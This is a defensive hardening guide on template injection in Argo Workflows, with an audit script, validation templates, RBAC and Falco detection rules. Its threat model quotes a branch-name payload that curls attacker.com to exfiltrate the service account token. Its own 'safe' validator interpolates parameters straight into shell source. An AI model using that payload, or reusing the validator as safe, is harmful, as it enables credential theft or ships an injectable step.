Argo Workflows Template Injection via User-Controlled Parameters

Argo Workflows Template Injection via User-Controlled Parameters

Problem

Argo Workflows uses a templating engine to define and execute workflows. Template expressions such as {{inputs.parameters.filename}} are evaluated at workflow execution time and can be used throughout workflow definitions: in command fields, args, env values, resource manifests, and script bodies. This flexibility enables dynamic workflows but creates a template injection attack surface when user-supplied parameters are placed into sensitive template positions without sanitisation.

The attack pattern: a workflow template is designed to accept user parameters and pass them into a container command. The template author intends the parameter to be a filename or identifier. An attacker submits a workflow with a parameter value containing Argo’s expression syntax — for example {{workflow.parameters.other_secret}} — or, more severely, a shell metacharacter sequence that achieves command injection when the parameter lands in a shell command field.

Why this is distinct from the controller DoS class of CVEs. Template injection requires only workflow submission access (CREATE on workflows.argoproj.io). Many organisations grant this to developer teams, CI pipelines, and automation accounts. A compromised CI account or a developer with malicious intent can inject into any workflow template that passes their parameter values into sensitive positions.

The Argo expression engine exposes cluster internals. Argo’s sprig and native expression functions include capabilities like {{=jsonpath(workflow.labels, '$.some-label')}} and can access workflow metadata, other parameter values, and in some configurations, Kubernetes resource data. Expression injection can leak information about other workflows, secret names, and cluster topology.

Script templates are the highest-risk target. Workflow templates using script: with a shell interpreter and parameter interpolation directly in the script body are equivalent to a server-side template injection vulnerability in a web application. Any user who can control the parameter value can execute arbitrary shell code in the workflow’s pod.

Target systems: any Kubernetes cluster running Argo Workflows where external users, developer accounts, or CI pipelines have workflow submission access; multi-tenant platforms using Argo Workflows for job execution.


Threat Model

Adversary 1 — CI pipeline account injection. A CI pipeline has CREATE workflow access in a namespace. The pipeline passes a user-controlled value (branch name, commit message fragment, user input) as a workflow parameter. The parameter lands in a command or script field. The attacker controls the repository and sets the branch name to main; curl http://attacker.com/exfil?secret=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token).

Adversary 2 — Developer submitting crafted workflow. A developer has direct workflow submission access in their namespace. They submit a workflow with a parameter value containing {{workflow.parameters.admin_password}} placed into a position where it gets echoed to logs, exfiltrating another workflow’s sensitive parameter.

Adversary 3 — Expression engine abuse for SSRF. Argo Workflows supports HTTP template steps. An attacker with workflow submission access injects a parameter that redirects an HTTP template step to an internal URL (the cloud metadata endpoint, an internal API), using the workflow executor’s network access for SSRF.


Configuration / Implementation

Step 1 — Identify vulnerable template patterns in existing workflows

#!/bin/bash
# scripts/audit-argo-template-injection.sh
# Scan Argo Workflow templates for injection-vulnerable patterns

NAMESPACE="${1:-}"
NS_FLAG=${NAMESPACE:+"-n $NAMESPACE"}

echo "=== Argo Workflows Template Injection Audit ==="

# Find WorkflowTemplates with user parameters in command/args/script fields
kubectl get workflowtemplates $NS_FLAG -A -o json 2>/dev/null | \
python3 - << 'PYEOF'
import json, sys, re

data = json.load(sys.stdin)
templates = data.get("items", [])

# Patterns that indicate user-controlled parameter in sensitive position
SENSITIVE_FIELDS = ["command", "args", "source", "script"]
PARAM_PATTERN = re.compile(r'\{\{inputs\.parameters\.\w+\}\}|\{\{workflow\.parameters\.\w+\}\}')

findings = []
for wft in templates:
    name = f"{wft['metadata']['namespace']}/{wft['metadata']['name']}"
    for template in wft.get("spec", {}).get("templates", []):
        tname = template.get("name", "")
        container = template.get("container", {}) or template.get("script", {})
        
        # Check command and args
        for field in ["command", "args"]:
            values = container.get(field, [])
            if isinstance(values, list):
                for val in values:
                    if PARAM_PATTERN.search(str(val)):
                        findings.append(f"[HIGH] {name}/{tname}: parameter in {field}: {val}")
        
        # Check script source
        source = container.get("source", "")
        if source and PARAM_PATTERN.search(source):
            findings.append(f"[HIGH] {name}/{tname}: parameter interpolated in script source")
        
        # Check environment variables (lower risk but still injectable)
        for env in container.get("env", []):
            val = str(env.get("value", ""))
            if PARAM_PATTERN.search(val):
                findings.append(f"[MEDIUM] {name}/{tname}: parameter in env var {env.get('name')}")

if findings:
    print(f"Found {len(findings)} potentially injectable template positions:\n")
    for f in findings:
        print(f"  {f}")
else:
    print("No obvious injection patterns found")
PYEOF

echo ""
echo "=== Checking for overly permissive workflow submission RBAC ==="
kubectl get clusterrolebindings $NS_FLAG -o json 2>/dev/null | \
    jq -r '.items[] | select(.roleRef.name | test("argo|workflow")) |
    "\(.metadata.name): \([.subjects[]? | "\(.kind)/\(.name)"] | join(", "))"'

Step 2 — Validate parameters before template interpolation

For workflow templates that must accept user parameters, add a validation step as the first template in the DAG:

# workflow-template-with-validation.yaml
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: safe-data-processing
  namespace: workflows
spec:
  entrypoint: main
  arguments:
    parameters:
    - name: input-filename
    - name: target-environment

  templates:
  - name: main
    dag:
      tasks:
      # Validate parameters BEFORE passing them to any sensitive template
      - name: validate-inputs
        template: parameter-validator
        arguments:
          parameters:
          - name: filename
            value: "{{workflow.parameters.input-filename}}"
          - name: environment
            value: "{{workflow.parameters.target-environment}}"
      
      # Only proceed if validation passes
      - name: process-data
        dependencies: [validate-inputs]
        template: data-processor
        arguments:
          parameters:
          - name: filename
            value: "{{workflow.parameters.input-filename}}"
          - name: environment
            value: "{{workflow.parameters.target-environment}}"

  - name: parameter-validator
    inputs:
      parameters:
      - name: filename
      - name: environment
    script:
      image: alpine:3.19
      command: [sh]
      source: |
        #!/bin/sh
        set -euo pipefail
        
        FILENAME="{{inputs.parameters.filename}}"
        ENVIRONMENT="{{inputs.parameters.environment}}"
        
        # Validate filename: only allow alphanumeric, dash, underscore, dot
        if ! echo "$FILENAME" | grep -qE '^[a-zA-Z0-9._-]+$'; then
          echo "INVALID: filename contains disallowed characters: $FILENAME"
          exit 1
        fi
        
        # Validate environment: only allow known values
        case "$ENVIRONMENT" in
          staging|production|dev)
            echo "Valid environment: $ENVIRONMENT"
            ;;
          *)
            echo "INVALID: unknown environment: $ENVIRONMENT"
            exit 1
            ;;
        esac
        
        echo "Parameters validated successfully"

  - name: data-processor
    inputs:
      parameters:
      - name: filename
      - name: environment
    container:
      image: myapp/processor:1.0
      # Safe: filename is validated before reaching this step
      command: ["/app/process"]
      args: ["--file", "{{inputs.parameters.filename}}", "--env", "{{inputs.parameters.environment}}"]

Step 3 — Use parameter enums to restrict allowed values

For parameters with a known set of valid values, use Argo’s enum constraint:

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: restricted-pipeline
spec:
  arguments:
    parameters:
    - name: environment
      enum:
      - staging
      - production
      - dev
      # Argo will reject workflow submissions with values not in this list
    
    - name: region
      enum:
      - us-east-1
      - eu-west-1
      - ap-southeast-1
    
    # For free-form parameters, do NOT place directly in command/args
    # Instead, pass to a validation step first
    - name: job-name
      # No enum — validated by the validation step

  templates:
  - name: deploy
    inputs:
      parameters:
      - name: environment
      - name: region
    container:
      image: myapp/deployer:1.0
      # Safe: enum-constrained parameter; cannot contain injection
      command: ["/app/deploy", "--env", "{{inputs.parameters.environment}}", "--region", "{{inputs.parameters.region}}"]

Step 4 — Restrict workflow submission RBAC

# Least-privilege RBAC for workflow submission
# Grant CREATE on workflows but restrict parameter scope

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: workflow-submitter-restricted
  namespace: workflows
rules:
# Can submit workflows
- apiGroups: ["argoproj.io"]
  resources: ["workflows"]
  verbs: ["create", "get", "list", "watch"]
# Can NOT create WorkflowTemplates (prevents template modification)
# Can NOT access secrets
# Can NOT access other namespaces
---
# For CI pipelines: use a dedicated ServiceAccount per pipeline
apiVersion: v1
kind: ServiceAccount
metadata:
  name: ci-pipeline-workflows
  namespace: workflows
  annotations:
    # Document what this account is allowed to submit
    security/allowed-templates: "data-processing,test-runner"
    security/review-date: "2026-05-27"
---
# Bind the restrictive role
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: ci-pipeline-workflow-submitter
  namespace: workflows
subjects:
- kind: ServiceAccount
  name: ci-pipeline-workflows
  namespace: workflows
roleRef:
  kind: Role
  name: workflow-submitter-restricted
  apiGroup: rbac.authorization.k8s.io

Step 5 — Disable expression evaluation in untrusted contexts

For Argo Workflows 3.4+, you can restrict which expression features are available:

# argo-workflows-controller-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: workflow-controller-configmap
  namespace: argo
data:
  # Disable template tag substitution for parameters — prevents expression injection
  # via parameter values that contain {{ }} syntax
  templateTagHashPrefix: "true"  # Requires explicit {{ }} to be escaped
  
  # Limit expression evaluation scope
  # Prevent access to workflow-level secrets from template expressions
  executor: |
    envFrom:
    - secretRef:
        name: workflow-executor-secrets
        optional: true
  
  # Require workflow ServiceAccount to be explicitly specified
  # Prevents workflows from inheriting overly permissive default SA
  workflowDefaults: |
    spec:
      serviceAccountName: restricted-workflow-sa
      automountServiceAccountToken: false

Step 6 — Monitor for injection attempts

# Falco rule for Argo Workflows template injection indicators
- rule: Argo Workflow Unexpected Network Connection
  desc: A workflow pod making network connections to unexpected destinations
  condition: >
    outbound and
    k8s.pod.label.workflows.argoproj.io/workflow != "" and
    not fd.rip in (known_workflow_destinations) and
    not fd.sport in (80, 443)
  output: >
    Argo workflow pod unexpected outbound connection
    (pod=%k8s.pod.name workflow=%k8s.pod.label.workflows.argoproj.io/workflow
     destination=%fd.name)
  priority: HIGH
  tags: [argo, injection, lateral-movement]

- rule: Argo Workflow Reads Service Account Token
  desc: Workflow pod reading the Kubernetes service account token
  condition: >
    open_read and
    k8s.pod.label.workflows.argoproj.io/workflow != "" and
    fd.name startswith "/var/run/secrets/kubernetes.io/serviceaccount"
  output: >
    Argo workflow pod reading service account token
    (pod=%k8s.pod.name workflow=%k8s.pod.label.workflows.argoproj.io/workflow)
  priority: WARNING
  tags: [argo, credential-access]

Expected Behaviour

Scenario Without controls With controls
Parameter value containing shell metacharacters Executed in script template Validation step rejects invalid characters; workflow fails cleanly
Parameter value containing {{expression}} Evaluated by Argo expression engine Enum constraint rejects unlisted values; or validation step blocks
CI account submits workflow with injected branch name Attacker-controlled command executes in pod Validation step sanitises branch name before it reaches command field
Workflow submission RBAC is overly broad Any authenticated user can submit any workflow Restricted Role; namespace isolation; ServiceAccount per pipeline
Workflow pod makes unexpected outbound connection Post-injection exfiltration succeeds undetected Falco alert fires; incident response begins

Trade-offs

Aspect Benefit Cost Mitigation
Parameter enum constraints Prevents injection for known-value parameters Inflexible for free-form parameters Use enums where possible; validation step for free-form
Validation step in DAG Flexible; can implement complex rules Extra workflow step adds latency; validation pod must start Use fast validation image (alpine-based); keep validation logic simple
automountServiceAccountToken: false Limits post-injection credential access Workflows that legitimately need cluster API access must explicitly mount token Use projected volumes to mount token only when needed
Restrict WorkflowTemplate CREATE Prevents template modification attacks Developers cannot create new templates directly Gate template creation through GitOps; developers submit PRs

Failure Modes

Failure Symptom Detection Recovery
Validation step logic error permits injection Attacker bypasses validation with edge case Post-injection forensics shows validation passed Harden validation regex; use allowlist not blocklist
Enum constraint not available in older Argo version Parameter not rejected; injection proceeds Argo version check; test parameter rejection in staging Update to Argo Workflows 3.1+ which introduced enum support
Validation step itself is injectable Attacker injects into the validation template Code review of validation template; audit logs Do NOT interpolate parameters directly into validation script source; pass as env vars
Falco not deployed; injection succeeds silently No detection of post-injection activity Post-incident review finds no runtime alerts Deploy Falco before deploying Argo Workflows in production